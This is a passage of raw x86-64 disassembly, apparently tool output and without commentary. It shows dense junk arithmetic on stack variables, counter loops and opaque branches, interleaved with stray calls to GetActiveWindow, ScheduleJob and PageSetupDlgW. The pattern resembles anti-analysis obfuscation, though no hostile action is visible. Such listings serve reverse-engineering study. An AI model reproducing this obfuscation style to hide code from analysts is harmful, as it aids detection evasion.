mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
sub eax, ecx
mov byte [rsp + 0x15a], al
movsx eax, word [rsp + 0xe10]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
movzx eax, word [rsp + 0xe0c]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe14], ax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
sub eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x348c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x34bc], eax
mov eax, dword [rsp + 0x3240]
mov ecx, dword [rsp + 0x349c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34dc], eax
movabs rax, 0x66ab5346345f8371
mov rcx, qword [rsp + 0x6130]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6130], rax
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6050]
shl rax, cl
mov qword [rsp + 0x60b8], rax
movsx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x158], al
movsx eax, word [rsp + 0xe18]
movsx ecx, word [rsp + 0xe10]
or eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
sar eax, cl
mov word [rsp + 0xe14], ax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
add eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x348c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x34bc], eax
mov eax, dword [rsp + 0x349c]
mov ecx, dword [rsp + 0x34dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3468], eax
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x60b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
movabs rax, 0x15ac398de4437182
mov rcx, qword [rsp + 0x6130]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6130], rax
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe10], ax
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xe0c]
sub eax, ecx
mov word [rsp + 0xd88], ax
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe10]
add eax, ecx
mov word [rsp + 0xe18], ax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
xor eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x60b8]
mov rcx, qword [rsp + 0x6108]
mov qword [rsp + 0x6140], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6140]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
jmp 0x140006b4c
mov rax, qword [rsp + 0x60c0]
mov rcx, qword [rsp + 0x6058]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3468], eax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x158]
and ecx, edx
cmp eax, ecx
jg 0x14012c5ea
movsx eax, byte [rsp + 0x15d]
movsx ecx, byte [rsp + 0x15b]
sub eax, ecx
movsx ecx, byte [rsp + 0x159]
mov rdx, qword [rsp + 0x6100]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x14012c55b
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x60b8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x5d58], rax
mov rax, qword [rsp + 0x6130]
mov qword [rsp + 0x6148], rax
lea rax, [rsp + 0x34dc]
mov qword [rsp + 0x6150], rax
mov rax, qword [rsp + 0x6118]
mov eax, dword [rax]
mov dword [rsp + 0x34fc], eax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
sub eax, ecx
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe10]
and eax, ecx
mov word [rsp + 0xe18], ax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x15d]
sub eax, ecx
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe14], ax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
sub eax, ecx
mov byte [section..data], al
mov eax, dword [rsp + 0x34dc]
mov dword [rsp + 0x3500], eax
movabs rax, 0xec01d75cc790b1e1
mov rcx, qword [rsp + 0x6130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6148], rax
mov eax, dword [rsp + 0x34bc]
mov ecx, dword [rsp + 0x348c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x6050]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5d58], rax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
sub eax, ecx
mov byte [rsp + 0x15c], al
movsx eax, word [rsp + 0xe10]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe18], ax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [section..data]
xor eax, ecx
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x60e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6130]
shr rax, 0x21
mov qword [rsp + 0x6148], rax
mov rax, qword [rsp + 0x6150]
mov ecx, dword [rsp + 0x3468]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov eax, dword [rsp + 0x34b4]
add eax, 0x29
mov dword [rsp + 0x34b4], eax
mov rax, qword [rsp + 0x6118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x348c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34fc], eax
mov rax, qword [rsp + 0x60b8]
mov rcx, qword [rsp + 0x5d58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe10], ax
movsx eax, byte [rsp + 0x15b]
movsx ecx, byte [rsp + 0x158]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
add eax, ecx
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
sub eax, ecx
mov rcx, qword [rsp + 0x60d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
add eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x34fc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x6050]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5d58], rax
mov eax, dword [rsp + 0x34dc]
mov ecx, dword [rsp + 0x3240]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3468], eax
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x348c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x60d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xd88], ax
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
shl eax, cl
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe10]
and eax, ecx
mov word [rsp + 0xe18], ax
cmp dword [rsp + 0x34b4], 0xf3ab
jb 0x1400071e3
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
sub eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x6128]
mov ecx, dword [rsp + 0x3500]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x349c], eax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x6050]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x34bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x348c], eax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x60b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6050], rax
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
add eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x60d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
add eax, ecx
mov word [rsp + 0xd88], ax
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
shl eax, cl
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
movabs rax, 0x9d0f80950893804b
mov rcx, qword [rsp + 0x6148]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6130], rax
mov eax, dword [rsp + 0x3240]
movzx ecx, al
mov eax, dword [rsp + 0x3468]
sar eax, cl
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov eax, dword [rsp + 0x348c]
mov ecx, dword [rsp + 0x34fc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5d58]
mov rcx, qword [rsp + 0x6050]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x60d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
add eax, ecx
mov word [rsp + 0xe10], ax
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xe0c]
add eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15e]
movzx ecx, byte [rsp + 0x15c]
and eax, ecx
mov byte [rsp + 0x15a], al
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x15e]
add eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x15a]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x6050]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5d58], rax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x6150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6110]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x34fc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
movzx eax, word [rsp + 0xe0c]
movzx ecx, word [rsp + 0xe14]
shl eax, cl
mov word [rsp + 0xd88], ax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x15a]
sar eax, cl
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe10]
or eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe10]
and eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15b]
add eax, ecx
mov byte [rsp + 0x159], al
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15e]
sub eax, ecx
mov byte [section..data], al
mov eax, dword [rsp + 0x34b0]
add eax, 0x26
mov dword [rsp + 0x34b0], eax
mov rax, qword [rsp + 0x6118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34bc], eax
mov rax, qword [rsp + 0x5d58]
mov rcx, qword [rsp + 0x60b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6050]
mov rcx, qword [rsp + 0x60b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [section..data]
and eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
movzx eax, word [rsp + 0xe14]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe0c], ax
movsx eax, word [rsp + 0xe10]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe18], ax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x159], al
cmp dword [rsp + 0x34b0], 0xb5e7
jb 0x140007578
mov eax, dword [rsp + 0x3468]
mov dword [rsp + 0x3504], eax
cmp dword [rsp + 0x3504], 0
je 0x140007a09
cmp dword [rsp + 0x3504], 0x561b722e
je 0x140007a6b
jmp 0x140007ab3
mov rax, qword [rsp + 0x6148]
shr rax, 0x5a
cmp rax, qword [rsp + 0x6130]
jb 0x140007a42
mov rax, qword [rsp + 0x6058]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0x15d]
movzx ecx, word [rsp + 0xe10]
call fcn.14012dd80
nop
jmp 0x140007a69
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xe0c]
xor eax, ecx
movzx ecx, word [rsp + 0xd88]
mov rdx, qword [rsp + 0x60f0]
movzx edx, word [rdx]
or ecx, edx
jmp 0x140007ab3
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
and eax, ecx
mov byte [section..data], al
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov qword [rsp + 0x6090], rax
mov rax, qword [rsp + 0x6118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x348c]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x34fc]
mov edx, dword [rsp + 0x34bc]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x140007ae9
call fcn.14012ca40
nop
jmp 0x140007bb6
mov rax, qword [rsp + 0x6110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3468]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x60c0]
mov rdx, qword [rsp + 0x6058]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jne 0x140007bb6
mov eax, dword [rsp + 0x349c]
mov ecx, dword [rsp + 0x34dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6058]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3468]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x140007bb6
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x3508], al
cmp byte [rsp + 0x3508], 0x4a
je 0x140007b62
jmp 0x140007b81
mov rax, qword [rsp + 0x6128]
mov rcx, qword [rsp + 0x6150]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3240], eax
jmp 0x140007bb6
mov edx, 0xe0
mov rcx, qword [rsp + 0x6158]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x345c], eax
mov eax, dword [rsp + 0x34bc]
mov ecx, dword [rsp + 0x34fc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
cmp dword [rsp + 0x3454], 0xe6b7
jb 0x140008013
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x60b8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5d58], rax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x15d]
shl eax, cl
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
sar eax, cl
mov byte [rsp + 0x15e], al
movsx eax, word [rsp + 0xe10]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe18], ax
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
and eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
sub eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
movabs rax, 0x3adf884503c65632
mov rcx, qword [rsp + 0x6148]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6130], rax
mov rax, qword [rsp + 0x6050]
mov rcx, qword [rsp + 0x5d58]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60c0]
mov rcx, qword [rsp + 0x6058]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3468], eax
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x348c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x158]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15d], al
mov eax, dword [rsp + 0x3454]
sub eax, 0x7f
mov dword [rsp + 0x3454], eax
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
add eax, ecx
mov word [rsp + 0xd88], ax
movzx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x15c], al
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
xor eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x6148]
shr rax, 1
mov qword [rsp + 0x6130], rax
mov rax, qword [rsp + 0x60b8]
mov rcx, qword [rsp + 0x5d58]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov eax, dword [rsp + 0x34bc]
mov ecx, dword [rsp + 0x348c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34fc], eax
mov eax, dword [rsp + 0x3500]
mov ecx, dword [rsp + 0x3240]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34dc], eax
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x158]
add eax, ecx
mov byte [rsp + 0x159], al
movzx eax, word [rsp + 0xd88]
movzx ecx, word [rsp + 0xe14]
add eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15c]
sub eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
mov eax, dword [rsp + 0x34fc]
mov ecx, dword [rsp + 0x348c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
movabs rax, 0x3db0a4e34244f9eb
mov rcx, qword [rsp + 0x6148]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6130], rax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x5d58]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3240]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x349c], eax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60f0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xe0c], ax
movsx eax, word [rsp + 0xe10]
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xe18], ax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
sar eax, cl
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
and eax, ecx
mov byte [section..data], al
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x15d]
sub eax, ecx
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
mov rax, qword [rsp + 0x60b8]
mov rcx, qword [rsp + 0x5d58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x34bc], eax
mov eax, dword [rsp + 0x349c]
mov ecx, dword [rsp + 0x34dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
jmp 0x140007bb6
mov rax, qword [rsp + 0x60e8]
movzx eax, byte [rax]
mov byte [rsp + 0x350c], al
cmp byte [rsp + 0x350c], 0x30
je 0x140008031
jmp 0x140008088
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15b], al
lea rcx, [rsp + 0x1aac0]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x3510], eax
mov r8d, dword [rsp + 0x34dc]
movzx edx, byte [rsp + 0x15d]
mov rax, qword [rsp + 0x60d0]
movzx ecx, word [rax]
call fcn.14012dd80
nop
jmp 0x140008106
mov rax, qword [rsp + 0x6060]
movzx eax, word [rax]
mov word [rsp + 0xe1c], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x60d8]
mov word [rcx], ax
mov dword [rsp + 0x3514], 0x42d7
lea rax, [rsp + 0xe1c]
mov qword [rsp + 0x6160], rax
mov rax, qword [rsp + 0x6160]
movzx eax, word [rax]
mov word [0x1401482d0], ax
mov dword [rsp + 0x3518], 0xf6e6
lea rax, [rsp + 0x15e]
mov qword [rsp + 0x6168], rax
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
add eax, ecx
mov rcx, qword [rsp + 0x60f0]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xd88]
add ecx, edx
cmp eax, ecx
jle 0x14012c508
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x348c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x34bc], eax
lea rax, [rsp + 0x6148]
mov qword [rsp + 0x6170], rax
movsx eax, byte [rsp + 0x15d]
movsx ecx, byte [rsp + 0x158]
sar eax, cl
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
movsx eax, byte [rsp + 0x15d]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x15b], al
movzx eax, byte [section..data]
mov rcx, qword [rsp + 0x6168]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15c], al
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401482d0], ax
mov eax, dword [rsp + 0x3518]
sub eax, 0x30
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0x60d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
sub eax, ecx
mov word [rsp + 0xe0c], ax
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x34bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x34fc], eax
mov rax, qword [rsp + 0x6128]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3240]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3468], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6148]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x60b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d58], rax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
add eax, ecx
mov rcx, qword [rsp + 0x6160]
mov word [rcx], ax
movsx eax, byte [rsp + 0x158]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15d], al
movzx eax, word [rsp + 0xd88]
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
xor eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6168]
